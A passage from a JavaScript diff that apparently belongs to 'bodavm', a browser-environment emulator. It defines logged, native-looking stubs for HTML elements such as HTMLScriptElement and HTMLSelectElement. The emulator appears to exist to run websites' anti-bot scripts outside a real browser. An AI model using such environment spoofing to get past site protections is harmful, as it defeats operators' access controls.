return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLProgressElement'], "HTMLProgressElement"); +bodavm.memory.globalobj['HTMLProgressElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLProgressElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "max", { + configurable: true, + enumerable: true, + get: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_get", arguments); + }, + set: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "position", { + configurable: true, + enumerable: true, + get: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "position_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +// HTMLQuoteElement对象 + +bodavm.memory.globalobj['HTMLQuoteElement'] = function HTMLQuoteElement() { + console.log_copy('HTMLQuoteElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLQuoteElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLQuoteElement'], "HTMLQuoteElement"); +bodavm.memory.globalobj['HTMLQuoteElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLQuoteElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLQuoteElement', "cite", { + configurable: true, + enumerable: true, + get: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_get", arguments); + }, + set: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_set", arguments); + } +}, 'prototype'); +// HTMLScriptElement对象 + +bodavm.memory.globalobj['HTMLScriptElement'] = function HTMLScriptElement() { + console.log_copy('HTMLScriptElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLScriptElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLScriptElement'], "HTMLScriptElement"); +bodavm.memory.globalobj['HTMLScriptElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLScriptElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "supports", { + configurable: true, + enumerable: true, + writable: true, + value: function supports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].undefined, "HTMLScriptElement", "supports", arguments); + } +}); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "noModule", { + configurable: true, + enumerable: true, + get: function noModule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_get", arguments); + }, + set: function noModule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "charset", { + configurable: true, + enumerable: true, + get: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_get", arguments); + }, + set: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "async", { + configurable: true, + enumerable: true, + get: function async() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_get", arguments); + }, + set: function async() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "defer", { + configurable: true, + enumerable: true, + get: function defer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_get", arguments); + }, + set: function defer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "event", { + configurable: true, + enumerable: true, + get: function event() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_get", arguments); + }, + set: function event() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "htmlFor", { + configurable: true, + enumerable: true, + get: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_get", arguments); + }, + set: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "integrity", { + configurable: true, + enumerable: true, + get: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_get", arguments); + }, + set: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_get", arguments); + }, + set: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "blocking", { + configurable: true, + enumerable: true, + get: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_get", arguments); + }, + set: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_set", arguments); + } +}, 'prototype'); +// HTMLSelectElement对象 + +bodavm.memory.globalobj['HTMLSelectElement'] = function HTMLSelectElement() { + console.log_copy('HTMLSelectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSelectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSelectElement'], "HTMLSelectElement"); +bodavm.memory.globalobj['HTMLSelectElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSelectElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "multiple", { + configurable: true, + enumerable: true, + get: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_get", arguments); + }, + set: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "required", { + configurable: true, + enumerable: true, + get: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_get", arguments); + }, + set: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "options", { + configurable: true, + enumerable: true, + get: function options() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "options_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_get", arguments); + }, + set: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedOptions", { + configurable: true, + enumerable: true, + get: function selectedOptions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedOptions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedIndex", { + configurable: true, + enumerable: true, + get: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_get", arguments); + }, + set: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "namedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "setCustomValidity", arguments); + } +}, 'prototype'); +// HTMLSlotElement对象 + +bodavm.memory.globalobj['HTMLSlotElement'] = function HTMLSlotElement() { + console.log_copy('HTMLSlotElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSlotElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSlotElement'], "HTMLSlotElement"); +bodavm.memory.globalobj['HTMLSlotElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSlotElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assign", { + configurable: true, + enumerable: true, + writable: true, + value: function assign() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assign", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedElements", { + configurable: true, + enumerable: true, + writable: true, + value: function assignedElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSlotElement', "assignedNodes", { + configurable: true, + enumerable: true, + writable: true, + value: function assignedNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSlotElement'].prototype, "HTMLSlotElement", "assignedNodes", arguments); + } +}, 'prototype'); +// HTMLSourceElement对象 + +bodavm.memory.globalobj['HTMLSourceElement'] = function HTMLSourceElement() { + console.log_copy('HTMLSourceElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSourceElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSourceElement'], "HTMLSourceElement"); +bodavm.memory.globalobj['HTMLSourceElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSourceElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "srcset", { + configurable: true, + enumerable: true, + get: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_get", arguments); + }, + set: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "srcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSourceElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSourceElement'].prototype, "HTMLSourceElement", "height_set", arguments); + } +}, 'prototype'); +// HTMLSpanElement对象 + +bodavm.memory.globalobj['HTMLSpanElement'] = function HTMLSpanElement() { + console.log_copy('HTMLSpanElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSpanElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSpanElement'], "HTMLSpanElement"); +bodavm.memory.globalobj['HTMLSpanElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSpanElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +// HTMLStyleElement对象 + +bodavm.memory.globalobj['HTMLStyleElement'] = function HTMLStyleElement() { + console.log_copy('HTMLStyleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLStyleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLStyleElement'], "HTMLStyleElement"); +bodavm.memory.globalobj['HTMLStyleElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLStyleElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "media_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLStyleElement', "blocking", { + configurable: true, + enumerable: true, + get: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_get", arguments); + }, + set: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLStyleElement'].prototype, "HTMLStyleElement", "blocking_set", arguments); + } +}, 'prototype'); +// HTMLTableCaptionElement对象 + +bodavm.memory.globalobj['HTMLTableCaptionElement'] = function HTMLTableCaptionElement() { + console.log_copy('HTMLTableCaptionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLTableCaptionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLTableCaptionElement'], "HTMLTableCaptionElement"); +bodavm.memory.globalobj['HTMLTableCaptionElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLTableCaptionElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; 